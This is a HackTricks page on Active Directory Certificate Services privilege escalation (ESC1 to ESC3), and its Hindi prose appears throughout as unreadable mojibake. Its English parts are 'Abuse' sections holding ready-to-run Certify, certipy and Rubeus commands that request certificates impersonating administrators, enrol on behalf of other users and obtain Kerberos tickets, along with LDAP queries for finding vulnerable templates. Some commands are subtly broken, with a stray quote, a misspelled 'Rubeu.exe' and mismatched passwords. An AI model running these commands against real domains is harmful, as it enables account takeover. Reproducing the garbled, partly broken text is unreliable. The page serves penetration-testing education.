AD CS Domain Escalation

Support HackTricks

рдпрд╣ рдкрджреЛрдВ рдХреЗ рдЙрддреНрдерд╛рди рддрдХрдиреАрдХ рдЕрдиреБрднрд╛рдЧреЛрдВ рдХрд╛ рд╕рд╛рд░рд╛рдВрд╢ рд╣реИ:

Misconfigured Certificate Templates - ESC1

Explanation

Misconfigured Certificate Templates - ESC1 Explained

  • Enterprise CA рджреНрд╡рд╛рд░рд╛ рдирд┐рдореНрди-рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдирд╛рдорд╛рдВрдХрди рдЕрдзрд┐рдХрд╛рд░ рджрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред

  • рдкреНрд░рдмрдВрдзрдХ рдХреА рд╕реНрд╡реАрдХреГрддрд┐ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИред

  • рдЕрдзрд┐рдХреГрдд рд╡реНрдпрдХреНрддрд┐рдпреЛрдВ рд╕реЗ рдХреЛрдИ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдЖрд╡рд╢реНрдпрдХ рдирд╣реАрдВ рд╣реИрдВред

  • рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯреНрд╕ рдкрд░ рд╕реБрд░рдХреНрд╖рд╛ рд╡рд┐рд╡рд░рдг рдЕрддреНрдпрдзрд┐рдХ рдЕрдиреБрдорддрд┐ рджреЗрдиреЗ рд╡рд╛рд▓реЗ рд╣реИрдВ, рдЬреЛ рдирд┐рдореНрди-рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдирд╛рдорд╛рдВрдХрди рдЕрдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВред

  • рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯреНрд╕ рдХреЛ EKUs рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдЬреЛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдмрдирд╛рддреЗ рд╣реИрдВ:

  • Extended Key Usage (EKU) рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛ рдЬреИрд╕реЗ Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), рдпрд╛ рдХреЛрдИ EKU (SubCA) рд╢рд╛рдорд┐рд▓ рд╣реИрдВред

  • рдкреНрд░рдорд╛рдгрдкрддреНрд░ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдЕрдиреБрд░реЛрдз (CSR) рдореЗрдВ subjectAltName рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдЯреЗрдореНрдкрд▓реЗрдЯ рджреНрд╡рд╛рд░рд╛ рдЕрдиреБрдорддрд┐ рджреА рдЧрдИ рд╣реИ:

  • Active Directory (AD) рдкрд╣рдЪрд╛рди рд╕рддреНрдпрд╛рдкрди рдХреЗ рд▓рд┐рдП рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдореЗрдВ subjectAltName (SAN) рдХреЛ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рджреЗрддрд╛ рд╣реИ рдпрджрд┐ рдпрд╣ рдореМрдЬреВрдж рд╣реИред рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ CSR рдореЗрдВ SAN рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдХреЗ, рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ (рдЬреИрд╕реЗ, рдПрдХ рдбреЛрдореЗрди рдкреНрд░рд╢рд╛рд╕рдХ) рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЕрдиреБрд░реЛрдз рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рд╕рдВрдХреЗрдд рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдЕрдиреБрд░реЛрдзрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ SAN рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯ рдХреЗ AD рдСрдмреНрдЬреЗрдХреНрдЯ рдореЗрдВ mspki-certificate-name-flag рдкреНрд░реЙрдкрд░реНрдЯреА рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗред рдпрд╣ рдкреНрд░реЙрдкрд░реНрдЯреА рдПрдХ рдмрд┐рдЯрдорд╛рд╕реНрдХ рд╣реИ, рдФрд░ CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT рдзреНрд╡рдЬ рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдЕрдиреБрд░реЛрдзрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ SAN рдХреЗ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред

рдпрд╣ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдирд┐рдореНрди-рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдХрд┐рд╕реА рднреА рдкрд╕рдВрдж рдХреЗ SAN рдХреЗ рд╕рд╛рде рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬреЛ Kerberos рдпрд╛ SChannel рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрд┐рд╕реА рднреА рдбреЛрдореЗрди рдкреНрд░рд┐рдВрд╕рд┐рдкрд▓ рдХреЗ рд░реВрдк рдореЗрдВ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╕рдХреНрд╖рдо рдХрд░рддрд╛ рд╣реИред

рдпрд╣ рд╕реБрд╡рд┐рдзрд╛ рдХрднреА-рдХрднреА HTTPS рдпрд╛ рд╣реЛрд╕реНрдЯ рдкреНрд░рдорд╛рдгрдкрддреНрд░реЛрдВ рдХреЗ рддрд╛рддреНрдХрд╛рд▓рд┐рдХ рдирд┐рд░реНрдорд╛рдг рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрддреНрдкрд╛рджреЛрдВ рдпрд╛ рддреИрдирд╛рддреА рд╕реЗрд╡рд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ рд╕рдХреНрд╖рдо рдХреА рдЬрд╛рддреА рд╣реИ, рдпрд╛ рд╕рдордЭ рдХреА рдХрдореА рдХреЗ рдХрд╛рд░рдгред

рдпрд╣ рдиреЛрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдЗрд╕ рд╡рд┐рдХрд▓реНрдк рдХреЗ рд╕рд╛рде рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдмрдирд╛рдиреЗ рдкрд░ рдПрдХ рдЪреЗрддрд╛рд╡рдиреА рдЙрддреНрдкрдиреНрди рд╣реЛрддреА рд╣реИ, рдЬреЛ рддрдм рдирд╣реАрдВ рд╣реЛрддреА рдЬрдм рдПрдХ рдореМрдЬреВрджрд╛ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯ (рдЬреИрд╕реЗ WebServer рдЯреЗрдореНрдкрд▓реЗрдЯ, рдЬрд┐рд╕рдореЗрдВ CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT рд╕рдХреНрд╖рдо рд╣реИ) рдХреЛ рдбреБрдкреНрд▓рд┐рдХреЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдлрд┐рд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг OID рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

Abuse

рдХрдордЬреЛрд░ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯреНрд╕ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ:

Certify.exe find /vulnerable
certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128

рдЗрд╕ рдХрдордЬреЛрд░реА рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдкреНрд░рд╢рд╛рд╕рдХ рдХреА рдирдХрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдИ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЪрд▓рд╛ рд╕рдХрддрд╛ рд╣реИ:

Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:localadmin
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local'

рдлрд┐рд░ рдЖрдк рдЙрддреНрдкрдиреНрди рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреЛ .pfx рдкреНрд░рд╛рд░реВрдк рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЗрд╕реЗ Rubeus рдпрд╛ certipy рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдлрд┐рд░ рд╕реЗ рдкреНрд░рдорд╛рдгрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100

The Windows binaries "Certreq.exe" & "Certutil.exe" can be used to generate the PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee

AD Forest рдХреЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рд╕реНрдХреАрдорд╛ рдХреЗ рднреАрддрд░ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯреНрд╕ рдХреА рдЧрдгрдирд╛, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рд╡реЗ рдЬреЛ рдЕрдиреБрдореЛрджрди рдпрд╛ рд╣рд╕реНрддрд╛рдХреНрд╖рд░реЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд░рдЦрддреЗ рд╣реИрдВ, рдЬрд┐рдирдореЗрдВ Client Authentication рдпрд╛ Smart Card Logon EKU рд╣реИ, рдФрд░ рдЬрд┐рдирдореЗрдВ CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT рдзреНрд╡рдЬ рд╕рдХреНрд╖рдо рд╣реИ, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд LDAP рдХреНрд╡реЗрд░реА рдЪрд▓рд╛рдХрд░ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ:

(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))

Misconfigured Certificate Templates - ESC2

Explanation

рджреВрд╕рд░рд╛ рджреБрд░реБрдкрдпреЛрдЧ рдкрд░рд┐рджреГрд╢реНрдп рдкрд╣рд▓реЗ рд╡рд╛рд▓реЗ рдХрд╛ рдПрдХ рд░реВрдкрд╛рдВрддрд░ рд╣реИ:

  1. Enterprise CA рджреНрд╡рд╛рд░рд╛ рдирд┐рдореНрди-рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдирд╛рдорд╛рдВрдХрди рдЕрдзрд┐рдХрд╛рд░ рджрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред

  2. рдкреНрд░рдмрдВрдзрдХ рдХреА рд╕реНрд╡реАрдХреГрддрд┐ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЛ рдЕрдХреНрд╖рдо рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред

  3. рдЕрдзрд┐рдХреГрдд рд╣рд╕реНрддрд╛рдХреНрд╖рд░реЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЛ рдЫреЛрдбрд╝ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред

  4. рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯ рдкрд░ рдПрдХ рдЕрддреНрдпрдзрд┐рдХ рдЕрдиреБрдорддрд┐ рджреЗрдиреЗ рд╡рд╛рд▓рд╛ рд╕реБрд░рдХреНрд╖рд╛ рд╡рд░реНрдгрдирдХрд░реНрддрд╛ рдирд┐рдореНрди-рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдирд╛рдорд╛рдВрдХрди рдЕрдзрд┐рдХрд╛рд░ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред

  5. рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯ рдХреЛ Any Purpose EKU рдпрд╛ рдХреЛрдИ EKU рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред

Any Purpose EKU рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдХрд┐рд╕реА рднреА рдЙрджреНрджреЗрд╢реНрдп рдХреЗ рд▓рд┐рдП рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдХреНрд▓рд╛рдЗрдВрдЯ рдкреНрд░рдорд╛рдгреАрдХрд░рдг, рд╕рд░реНрд╡рд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг, рдХреЛрдб рд╕рд╛рдЗрдирд┐рдВрдЧ, рдЖрджрд┐ рд╢рд╛рдорд┐рд▓ рд╣реИрдВред ESC3 рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХреА рдЧрдИ рддрдХрдиреАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдЗрд╕ рдкрд░рд┐рджреГрд╢реНрдп рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рдХреЛрдИ EKUs рдирд╣реАрдВ рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рдкреНрд░рдорд╛рдгрдкрддреНрд░, рдЬреЛ рдЕрдзреАрдирд╕реНрде CA рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддреЗ рд╣реИрдВ, рдХреЛ рдХрд┐рд╕реА рднреА рдЙрджреНрджреЗрд╢реНрдп рдХреЗ рд▓рд┐рдП рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдирдП рдкреНрд░рдорд╛рдгрдкрддреНрд░реЛрдВ рдкрд░ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рднреА рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдПрдХ рдЕрдзреАрдирд╕реНрде CA рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдирдП рдкреНрд░рдорд╛рдгрдкрддреНрд░реЛрдВ рдореЗрдВ рдордирдорд╛рдиреЗ EKUs рдпрд╛ рдлрд╝реАрд▓реНрдб рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИред

рд╣рд╛рд▓рд╛рдВрдХрд┐, рдбреЛрдореЗрди рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рд▓рд┐рдП рдмрдирд╛рдП рдЧрдП рдирдП рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХрд╛рд░реНрдп рдирд╣реАрдВ рдХрд░реЗрдВрдЧреЗ рдпрджрд┐ рдЕрдзреАрдирд╕реНрде CA NTAuthCertificates рдСрдмреНрдЬреЗрдХреНрдЯ рджреНрд╡рд╛рд░рд╛ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдирд╣реАрдВ рд╣реИ, рдЬреЛ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╕реЗрдЯрд┐рдВрдЧ рд╣реИред рдлрд┐рд░ рднреА, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХрд┐рд╕реА рднреА EKU рдФрд░ рдордирдорд╛рдиреЗ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдорд╛рдиреЛрдВ рдХреЗ рд╕рд╛рде рдирдП рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдмрдирд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрдиреНрд╣реЗрдВ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдХрдИ рдЙрджреНрджреЗрд╢реНрдпреЛрдВ (рдЬреИрд╕реЗ, рдХреЛрдб рд╕рд╛рдЗрдирд┐рдВрдЧ, рд╕рд░реНрд╡рд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг, рдЖрджрд┐) рдХреЗ рд▓рд┐рдП рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдиреЗрдЯрд╡рд░реНрдХ рдореЗрдВ рдЕрдиреНрдп рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдЬреИрд╕реЗ SAML, AD FS, рдпрд╛ IPSec рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рдкреНрд░рднрд╛рд╡ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред

AD Forest рдХреЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рд╕реНрдХреАрдорд╛ рдХреЗ рднреАрддрд░ рдЗрд╕ рдкрд░рд┐рджреГрд╢реНрдп рд╕реЗ рдореЗрд▓ рдЦрд╛рдиреЗ рд╡рд╛рд▓реЗ рдЯреЗрдореНрдкрд▓реЗрдЯреНрд╕ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд LDAP рдХреНрд╡реЗрд░реА рдЪрд▓рд╛рдИ рдЬрд╛ рд╕рдХрддреА рд╣реИ:

(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))

Misconfigured Enrolment Agent Templates - ESC3

Explanation

рдпрд╣ рдкрд░рд┐рджреГрд╢реНрдп рдкрд╣рд▓реЗ рдФрд░ рджреВрд╕рд░реЗ рдХреЗ рд╕рдорд╛рди рд╣реИ рд▓реЗрдХрд┐рди рднрд┐рдиреНрди EKU (Certificate Request Agent) рдФрд░ 2 рднрд┐рдиреНрди рдЯреЗрдореНрдкрд▓реЗрдЯреНрд╕ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ (рдЗрд╕рд▓рд┐рдП рдЗрд╕рдореЗрдВ 2 рд╕реЗрдЯ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛рдПрдБ рд╣реИрдВ),

Certificate Request Agent EKU (OID 1.3.6.1.4.1.311.20.2.1), рдЬрд┐рд╕реЗ Microsoft рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдореЗрдВ Enrollment Agent рдХреЗ рд░реВрдк рдореЗрдВ рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ, рдПрдХ рдкреНрд░рдореБрдЦ рдХреЛ рджреВрд╕рд░реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдУрд░ рд╕реЗ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреЗ рд▓рд┐рдП рдирд╛рдорд╛рдВрдХрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред

тАЬenrollment agentтАЭ рдПрдХ рдРрд╕реЗ рдЯреЗрдореНрдкрд▓реЗрдЯ рдореЗрдВ рдирд╛рдорд╛рдВрдХрд┐рдд рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рдкреНрд░рд╛рдкреНрдд рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рджреВрд╕рд░реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдУрд░ рд╕реЗ рдПрдХ CSR рдХреЛ рд╕рд╣-рд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░рддрд╛ рд╣реИред рдлрд┐рд░ рдпрд╣ рд╕рд╣-рд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд CSR рдХреЛ CA рдХреЛ рднреЗрдЬрддрд╛ рд╣реИ, рдПрдХ рдЯреЗрдореНрдкрд▓реЗрдЯ рдореЗрдВ рдирд╛рдорд╛рдВрдХрд┐рдд рд╣реЛрддрд╛ рд╣реИ рдЬреЛ тАЬрдХреА рдУрд░ рд╕реЗ рдирд╛рдорд╛рдВрдХрд┐рддтАЭ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдФрд░ CA тАЬрджреВрд╕рд░реЗтАЭ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред

Requirements 1:

  • Enterprise CA рджреНрд╡рд╛рд░рд╛ рдирд┐рдореНрди-privileged рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдирд╛рдорд╛рдВрдХрди рдЕрдзрд┐рдХрд╛рд░ рджрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред

  • рдкреНрд░рдмрдВрдзрдХ рдЕрдиреБрдореЛрджрди рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЛ рдЫреЛрдбрд╝ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред

  • рдЕрдзрд┐рдХреГрдд рд╣рд╕реНрддрд╛рдХреНрд╖рд░реЛрдВ рдХреА рдХреЛрдИ рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИред

  • рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯ рдХрд╛ рд╕реБрд░рдХреНрд╖рд╛ рд╡рд░реНрдгрди excessively permissive рд╣реИ, рдЬреЛ рдирд┐рдореНрди-privileged рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдирд╛рдорд╛рдВрдХрди рдЕрдзрд┐рдХрд╛рд░ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред

  • рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯ рдореЗрдВ Certificate Request Agent EKU рд╢рд╛рдорд┐рд▓ рд╣реИ, рдЬреЛ рдЕрдиреНрдп рдкреНрд░рдореБрдЦреЛрдВ рдХреА рдУрд░ рд╕реЗ рдЕрдиреНрдп рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯреНрд╕ рдХреЗ рдЕрдиреБрд░реЛрдз рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред

Requirements 2:

  • Enterprise CA рдирд┐рдореНрди-privileged рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдирд╛рдорд╛рдВрдХрди рдЕрдзрд┐рдХрд╛рд░ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред

  • рдкреНрд░рдмрдВрдзрдХ рдЕрдиреБрдореЛрджрди рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред

  • рдЯреЗрдореНрдкрд▓реЗрдЯ рдХрд╛ рд╕реНрдХреАрдорд╛ рд╕рдВрд╕реНрдХрд░рдг 1 рд╣реИ рдпрд╛ 2 рд╕реЗ рдЕрдзрд┐рдХ рд╣реИ, рдФрд░ рдпрд╣ рдПрдХ Application Policy Issuance Requirement рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИ рдЬреЛ Certificate Request Agent EKU рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред

  • рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯ рдореЗрдВ рдкрд░рд┐рднрд╛рд╖рд┐рдд EKU рдбреЛрдореЗрди рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред

  • CA рдкрд░ рдирд╛рдорд╛рдВрдХрди рдПрдЬреЗрдВрдЯреЛрдВ рдХреЗ рд▓рд┐рдП рдкреНрд░рддрд┐рдмрдВрдз рд▓рд╛рдЧреВ рдирд╣реАрдВ рд╣реЛрддреЗ рд╣реИрдВред

Abuse

рдЖрдк рдЗрд╕ рдкрд░рд┐рджреГрд╢реНрдп рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП Certify рдпрд╛ Certipy рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

# Request an enrollment agent certificate
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:Vuln-EnrollmentAgent
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local' -ca 'corp-CA' -template 'templateName'

# Enrollment agent certificate to issue a certificate request on behalf of
# another user to a template that allow for domain authentication
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:User /onbehalfof:CORP\itadmin /enrollment:enrollmentcert.pfx /enrollcertpwd:asdf
certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'

# Use Rubeus with the certificate to authenticate as the other user
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf

